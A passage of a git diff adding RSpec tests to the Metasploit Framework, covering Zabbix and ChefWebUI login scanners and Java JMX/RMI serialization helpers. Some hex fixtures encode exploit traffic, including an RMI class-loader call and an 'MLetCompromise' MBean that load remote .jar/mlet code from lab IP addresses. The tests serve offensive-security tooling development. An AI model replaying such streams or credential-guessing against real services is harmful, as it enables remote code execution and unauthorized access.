ChefWebUI' do + let(:login_ok_message) do + '<title>ChefWebUI 2.4 Appliance: User profile' + end + + it 'returns a Metasploit::Framework::LoginScanner::Result' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('index.php') && + req.opts['data'] && + req.opts['data'].include?("name=#{username}") && + req. opts['data'].include?("password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = 'profile.php' + res.headers['Set-Cookie'] = 'zbx_sessionid=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('index.php') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('profile.php') + res = Rex::Proto::Http::Response.new(200) + res.body = 'New password for the User' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + + expect(http_scanner.attempt_login(cred)).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + end + + end + + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb b/spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb new file mode 100644 index 0000000000..84b87a7c1e --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/zabbix_spec.rb @@ -0,0 +1,198 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/zabbix' + +describe Metasploit::Framework::LoginScanner::Zabbix do + + subject(:http_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + + let(:good_version) do + '2.4.1' + end + + let(:bad_version) do + 'Unknown' + end + + let(:username) do + 'Admin' + end + + let(:username_disabled) do + 'admin_disabled' + end + + let(:password) do + 'password' + end + + let(:password_disabled) do + 'password_disabled' + end + + let(:cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username, + private: password + ) + end + + let(:bad_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: 'bad', + private: 'bad' + ) + end + + let(:disabled_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username_disabled, + private: password_disabled + ) + end + + let(:res_code) do + 200 + end + + before do + http_scanner.instance_variable_set(:@version, good_version) + end + + context '#send_request' do + let(:req_opts) do + {'uri'=>'/', 'method'=>'GET'} + end + + it 'returns a Rex::Proto::Http::Response object' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + expect(http_scanner.send_request(req_opts)).to be_kind_of(Rex::Proto::Http::Response) + end + + it 'parses zbx_sessionid session cookies' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + allow_any_instance_of(Rex::Proto::Http::Response).to receive(:get_cookies).and_return("zbx_sessionid=ZBXSESSIONID_MAGIC_VALUE;") + http_scanner.send_request(req_opts) + expect(http_scanner.zsession).to eq("ZBXSESSIONID_MAGIC_VALUE") + end + end + + context '#try_credential' do + it 'sends a login request to /index.php' do + expect(http_scanner).to receive(:send_request).with(hash_including('uri'=>'/index.php')) + http_scanner.try_credential(cred) + end + + it 'sends a login request containing the username and password' do + expect(http_scanner).to receive(:send_request).with(hash_including('data'=>"request=&name=#{username}&password=#{password}&autologin=1&enter=Sign%20in")) + http_scanner.try_credential(cred) + end + end + + context '#try_login' do + + let(:login_ok_message) do + 'Zabbix 2.4 Appliance: User profile' + end + + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('index.php') && + req.opts['data'] && + req.opts['data'].include?("name=#{username}") && + req. opts['data'].include?("password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = 'profile.php' + res.headers['Set-Cookie'] = 'zbx_sessionid=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('index.php') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('profile.php') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Zabbix 2.4 Appliance: User profile' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + end + + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL for a valid credential' do + expect(http_scanner.try_login(cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + + it 'returns Metasploit::Model::Login::Status::INCORRECT for an invalid credential' do + expect(http_scanner.try_login(bad_cred)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + context '#attempt_login' do + context 'when Rex::Proto::Http::Client#connect raises a Rex::ConnectionError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a Timeout::Error' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a EOFError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Zabbix' do + let(:login_ok_message) do + 'Zabbix 2.4 Appliance: User profile' + end + + it 'returns a Metasploit::Framework::LoginScanner::Result' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('index.php') && + req.opts['data'] && + req.opts['data'].include?("name=#{username}") && + req. opts['data'].include?("password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = 'profile.php' + res.headers['Set-Cookie'] = 'zbx_sessionid=GOODSESSIONID' + res + elsif req.opts['uri'] && req.opts['uri'].include?('index.php') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?('profile.php') + res = Rex::Proto::Http::Response.new(200) + res.body = 'Zabbix 2.4 Appliance: User profile' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + + expect(http_scanner.attempt_login(cred)).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + end + + end + + end + +end + diff --git a/spec/lib/msf/java/jmx/discovery_spec.rb b/spec/lib/msf/java/jmx/discovery_spec.rb new file mode 100644 index 0000000000..c5f02ef22a --- /dev/null +++ b/spec/lib/msf/java/jmx/discovery_spec.rb @@ -0,0 +1,33 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'msf/java/jmx' + +describe Msf::Java::Jmx::Discovery do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Jmx + mod.send(:initialize) + mod + end + + let(:stream_discovery) do + "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02" + + "\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x06\x6a\x6d\x78\x72\x6d" + + "\x69" + end + + describe "#discovery_stream" do + + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.discovery_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + it "builds a valid stream to discover an jmxrmi endpoing" do + expect(mod.discovery_stream.encode).to eq(stream_discovery) + end + end +end + diff --git a/spec/lib/msf/java/jmx/handshake_spec.rb b/spec/lib/msf/java/jmx/handshake_spec.rb new file mode 100644 index 0000000000..7c6d3d9ebe --- /dev/null +++ b/spec/lib/msf/java/jmx/handshake_spec.rb @@ -0,0 +1,48 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/java' +require 'msf/java/jmx' + +describe Msf::Java::Jmx::Handshake do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Jmx + mod.send(:initialize) + mod + end + + let(:handshake_stream) do + "\xac\xed\x00\x05\x77\x0d\x30\xff\xff\xff\xff\xf0\xe0\x74\xea\xad" + + "\x0c\xae\xa8\x70" + end + + let(:auth_stream) do + "\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53" + + "\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00" + + "\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74" + + "\x00\x08\x70\x61\x73\x73\x77\x6f\x72\x64" + end + + describe "#handshake_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.handshake_stream(0)).to be_a(Rex::Java::Serialization::Model::Stream) + end + + it "builds a correct stream" do + expect(mod.handshake_stream(0).encode).to eq(handshake_stream) + end + end + + describe "#auth_array_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.auth_array_stream('role', 'password')).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "builds a correct stream" do + expect(mod.auth_array_stream('role', 'password').encode).to eq(auth_stream) + end + end +end + diff --git a/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb b/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb new file mode 100644 index 0000000000..a8b34d697d --- /dev/null +++ b/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb @@ -0,0 +1,93 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'msf/java/jmx' + +describe Msf::Java::Jmx::Mbean::ServerConnection do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Jmx + mod.send(:initialize) + mod + end + + let(:mbean_sample) { 'MBeanSample' } + let(:sample_args) do + {'arg1' => 'java.lang.String'} + end + + describe "#create_mbean_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.create_mbean_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.create_mbean_stream.contents[1].contents).to eq('') + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.create_mbean_stream(name: mbean_sample).contents[1].contents).to eq(mbean_sample) + end + end + end + + describe "#get_object_instance_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.get_object_instance_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.get_object_instance_stream.contents[2].contents).to eq('') + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.get_object_instance_stream(name: mbean_sample).contents[2].contents).to eq(mbean_sample) + end + end + end + + describe "#invoke_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.invoke_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.invoke_stream.contents[2].contents).to eq('') + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.invoke_stream(object: mbean_sample).contents[2].contents).to eq(mbean_sample) + end + end + end + + describe "#invoke_arguments_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.invoke_arguments_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.invoke_arguments_stream.contents[0].values.length).to eq(0) + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.invoke_arguments_stream(sample_args).contents[0].values[0].contents).to eq(sample_args['arg1']) + end + end + end + +end + diff --git a/spec/lib/msf/java/jmx/util_spec.rb b/spec/lib/msf/java/jmx/util_spec.rb new file mode 100644 index 0000000000..97b3f7abfc --- /dev/null +++ b/spec/lib/msf/java/jmx/util_spec.rb @@ -0,0 +1,121 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/java' +require 'msf/java/jmx' + +describe Msf::Java::Jmx::Util do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Jmx + mod.send(:initialize) + mod + end + + let(:empty) { '' } + let(:empty_io) { StringIO.new(empty) } + let(:string) { "\x00\x04\x41\x42\x43\x44" } + let(:string_io) { StringIO.new(string) } + let(:int) { "\x00\x00\x00\x04" } + let(:int_io) { StringIO.new(int) } + let(:stream_raw) do + "\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" + + "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" + + "\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" + + "\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" + + "\x2c\x69\x64\x3d\x31\x78\x70" + end + let(:stream) { Rex::Java::Serialization::Model::Stream.decode(StringIO.new(stream_raw)) } + + let(:contents_unicast_ref) do + "\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" + + "\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" + + "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" + + "\xdf\xd4\x57\x7e\x80\x01\x01" + end + let(:unicast_ref_io) do + StringIO.new(Rex::Java::Serialization::Model::BlockData.new(nil, contents_unicast_ref).contents) + end + let(:unicast_ref) do + { + :address => '172.16.158.131', + :id => "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a\xdf\xd4\x57\x7e\x80\x01\x01", + :port => 3057 + } + end + + + describe "#extract_string" do + context "when io contains a valid string" do + it "returns the string" do + expect(mod.extract_string(string_io)).to eq('ABCD') + end + end + + context "when io doesn't contain a valid string" do + it "returns nil" do + expect(mod.extract_string(empty_io)).to be_nil + end + end + end + + describe "#extract_int" do + context "when io contains a valid int" do + it "returns the string" do + expect(mod.extract_int(int_io)).to eq(4) + end + end + + context "when io doesn't contain a valid int" do + it "returns nil" do + expect(mod.extract_int(empty_io)).to be_nil + end + end + end + + describe "#extract_object" do + context "when empty stream" do + it "returns nil" do + empty_stream = Rex::Java::Serialization::Model::Stream.new + expect(mod.extract_object(empty_stream, 1)). to be_nil + end + end + + context "when valid stream" do + context "when id stores an object" do + it "returns the object's class name" do + expect(mod.extract_object(stream, 1)).to eq('javax.management.ObjectName') + end + end + + context "when id doesn't store an object" do + it "returns nil" do + expect(mod.extract_object(stream, 0)). to be_nil + end + end + end + end + + describe "#extract_unicast_ref" do + context "when empty io" do + it "returns nil" do + expect(mod.extract_unicast_ref(empty_io)). to be_nil + end + end + + context "when valid io" do + it "returns a hash" do + expect(mod.extract_unicast_ref(unicast_ref_io)).to be_a(Hash) + end + + it "returns a hash containing the UnicastRef information" do + expect(mod.extract_unicast_ref(unicast_ref_io)).to eq(unicast_ref) + end + end + end +end + diff --git a/spec/lib/msf/java/rmi/client/streams_spec.rb b/spec/lib/msf/java/rmi/client/streams_spec.rb new file mode 100644 index 0000000000..0f92c1952b --- /dev/null +++ b/spec/lib/msf/java/rmi/client/streams_spec.rb @@ -0,0 +1,107 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +describe Msf::Java::Rmi::Client::Streams do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:default_header) { "JRMI\x00\x02\x4b" } + let(:header_opts) do + { + :version => 1, + :protocol => Rex::Proto::Rmi::Model::MULTIPLEX_PROTOCOL + } + end + let(:opts_header) { "JRMI\x00\x01\x4d" } + + let(:default_call) { "\x50\xac\xed\x00\x05" } + let(:call_opts) do + { + :message_id => Rex::Proto::Rmi::Model::PING_MESSAGE + } + end + let(:opts_call) { "\x52\xac\xed\x00\x05" } + + let(:default_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" } + let(:dgc_ack_opts) do + { + :unique_identifier => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01" + } + end + let(:opts_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01" } + + describe "#build_header" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::OutputHeader" do + expect(mod.build_header).to be_a(Rex::Proto::Rmi::Model::OutputHeader) + end + + it "creates a default OutputHeader" do + expect(mod.build_header.encode).to eq(default_header) + end + end + + context "when opts" do + it "creates a Rex::Proto::Rmi::Model::OutputHeader" do + expect(mod.build_header(header_opts)).to be_a(Rex::Proto::Rmi::Model::OutputHeader) + end + + it "creates a OutputHeader with data from opts" do + expect(mod.build_header(header_opts).encode).to eq(opts_header) + end + end + end + + describe "#build_call" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_call).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a default Call" do + expect(mod.build_call.encode).to eq(default_call) + end + end + + context "when opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_call(call_opts)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a Call with data from opts" do + expect(mod.build_call(call_opts).encode).to eq(opts_call) + end + end + end + + describe "#build_dgc_ack" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::DgcAck" do + expect(mod.build_dgc_ack).to be_a(Rex::Proto::Rmi::Model::DgcAck) + end + + it "creates a default Call" do + expect(mod.build_dgc_ack.encode).to eq(default_dgc_ack) + end + end + + context "when opts" do + it "creates a Rex::Proto::Rmi::Model::DgcAck" do + expect(mod.build_dgc_ack(dgc_ack_opts)).to be_a(Rex::Proto::Rmi::Model::DgcAck) + end + + it "creates a DgcAck with data from opts" do + expect(mod.build_dgc_ack(dgc_ack_opts).encode).to eq(opts_dgc_ack) + end + end + end +end + diff --git a/spec/lib/msf/java/rmi/client_spec.rb b/spec/lib/msf/java/rmi/client_spec.rb new file mode 100644 index 0000000000..72665d3a66 --- /dev/null +++ b/spec/lib/msf/java/rmi/client_spec.rb @@ -0,0 +1,100 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +class RmiStringIO < StringIO + + def put(data) + write(data) + end + + def get_once(length = -1, timeout = 10) + read + end +end + +describe Msf::Java::Rmi::Client do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:io) { RmiStringIO.new('', 'w+b') } + let(:protocol_not_supported) { "\x4f" } + let(:protocol_not_supported_io) { RmiStringIO.new(protocol_not_supported) } + let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" } + let(:protocol_ack_io) { RmiStringIO.new(protocol_ack) } + let(:return_data) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + + "\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" + + "\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" + + "\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" + + "\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" + + "\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" + + "\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" + + "\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" + + "\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + + "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" + + "\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" + + "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + + "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" + end + let(:return_io) { RmiStringIO.new(return_data) } + + describe "#send_header" do + it "returns the number of bytes sent" do + expect(mod.send_header(sock: io)).to eq(13) + end + end + + describe "#send_call" do + it "returns the number of bytes sent" do + expect(mod.send_call(sock: io)).to eq(5) + end + end + + describe "#send_dgc_ack" do + it "returns the number of bytes sent" do + expect(mod.send_dgc_ack(sock: io)).to eq(15) + end + end + + describe "#recv_protocol_ack" do + context "when end point returns protocol ack" do + it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do + expect(mod.recv_protocol_ack(sock: protocol_ack_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck) + end + end + + context "when end point returns protocol not supported" do + it "return nil" do + expect(mod.recv_protocol_ack(sock: protocol_not_supported_io)).to be_nil + end + end + end + + describe "#recv_return" do + context "when end point returns a value to the call" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.recv_return(sock: return_io)).to be_a(Rex::Java::Serialization::Model::Stream) + end + end + + context "when end point doesn't return a value to the call" do + it "returns nil" do + expect(mod.recv_return(sock: io)).to be_nil + end + end + end +end + diff --git a/spec/lib/rex/java/serialization/builder_spec.rb b/spec/lib/rex/java/serialization/builder_spec.rb new file mode 100644 index 0000000000..86e957f19c --- /dev/null +++ b/spec/lib/rex/java/serialization/builder_spec.rb @@ -0,0 +1,143 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' + +describe Rex::Java::Serialization::Builder do + subject(:builder) do + described_class.new + end + + let(:class_opts) do + { + name: 'java.rmi.MarshalledObject', + serial: 0x7cbd1e97ed63fc3e, + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ] + } + end + + let(:object_opts) do + { + data: [["int", 1]] + } + end + + let(:array_opts) do + { + values_type: 'byte', + values: [0x41, 0x42, 0x43, 0x44] + } + end + + describe ".new" do + it "returns a Rex::Java::Serialization::Builder" do + expect(builder).to be_a(Rex::Java::Serialization::Builder) + end + end + + describe "#new_class" do + context "when no options" do + it "returns a Rex::Java::Serialization::Model::NewClassDesc" do + expect(builder.new_class).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + end + + it "sets an empty class name" do + expect(builder.new_class.class_name.contents).to eq('') + end + + it "sets a 0 serial version" do + expect(builder.new_class.serial_version).to eq(0) + end + + it "sets flags to SC_SERIALIZABLE" do + expect(builder.new_class.flags).to eq(Rex::Java::Serialization::SC_SERIALIZABLE) + end + + it "sets default annotations" do + expect(builder.new_class.class_annotation.contents.length).to eq(2) + end + + it "sets empty fields" do + expect(builder.new_class.fields.length).to eq(0) + end + + it "sets null super class" do + expect(builder.new_class.super_class.description).to be_a(Rex::Java::Serialization::Model::NullReference) + end + end + + context "when options" do + it "returns a Rex::Java::Serialization::Model::NewClassDesc" do + expect(builder.new_class(class_opts)).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + end + + it "sets the class name from options" do + expect(builder.new_class(class_opts).class_name.contents).to eq(class_opts[:name]) + end + + it "sets serial version from options" do + expect(builder.new_class(class_opts).serial_version).to eq(class_opts[:serial]) + end + + it "sets fields from options" do + expect(builder.new_class(class_opts).fields.length).to eq(3) + end + end + end + + describe "#new_object" do + context "when no options" do + it "returns a Rex::Java::Serialization::Model::NewObject" do + expect(builder.new_object).to be_a(Rex::Java::Serialization::Model::NewObject) + end + + it "sets empty data" do + expect(builder.new_object.class_data).to eq([]) + end + end + + context "when options" do + it "returns a Rex::Java::Serialization::Model::NewObject" do + expect(builder.new_object(object_opts)).to be_a(Rex::Java::Serialization::Model::NewObject) + end + + it "sets data from options" do + expect(builder.new_object(object_opts).class_data[0][1]).to eq(1) + end + end + end + + describe "#new_array" do + context "when no options" do + it "returns a Rex::Java::Serialization::Model::NewArray" do + expect(builder.new_array).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "sets empty values type" do + expect(builder.new_array.type).to eq('') + end + + it "sets empty values array" do + expect(builder.new_array.values).to eq([]) + end + end + + context "when options" do + it "returns a Rex::Java::Serialization::Model::NewArray" do + expect(builder.new_array(array_opts)).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "sets empty values type" do + expect(builder.new_array(array_opts).type).to eq(array_opts[:values_type]) + end + + it "sets empty values array" do + expect(builder.new_array(array_opts).values).to eq(array_opts[:values]) + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/stream_spec.rb b/spec/lib/rex/java/serialization/model/stream_spec.rb index 2c786b471a..2bfb0d9ab1 100644 --- a/spec/lib/rex/java/serialization/model/stream_spec.rb +++ b/spec/lib/rex/java/serialization/model/stream_spec.rb @@ -116,6 +116,40 @@ describe Rex::Java::Serialization::Model::Stream do EOS } + let(:rmi_call) do + "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" + + "\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" + + "\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" + + "\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x52" + + "\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2\xf4" + + "\x02\x00\x00\x74\x00\x30\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32" + + "\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x3a\x38\x30\x38\x30\x2f\x35" + + "\x71\x4f\x45\x37\x59\x52\x76\x43\x32\x53\x62\x2f\x65\x49\x64\x45" + + "\x44\x70\x2e\x6a\x61\x72\x78\x70\x77\x01\x00" + end + + let(:mbean_call) do + "\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" + + "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" + + "\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" + + "\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" + + "\x2c\x69\x64\x3d\x31\x78\x70" + end + + let(:marshalled_argument) do + "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" + + "\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10" + + "\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x1f\x68" + + "\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38" + + "\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74" + end + describe ".new" do it "Rex::Java::Serialization::Model::Stream" do expect(stream).to be_a(Rex::Java::Serialization::Model::Stream) @@ -259,6 +293,136 @@ describe Rex::Java::Serialization::Model::Stream do expect(stream.encode.unpack("C*")).to eq(complex_stream.unpack("C*")) end end + + context "when serializing a Java RMI call" do + it "serializes the stream correctly" do + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = 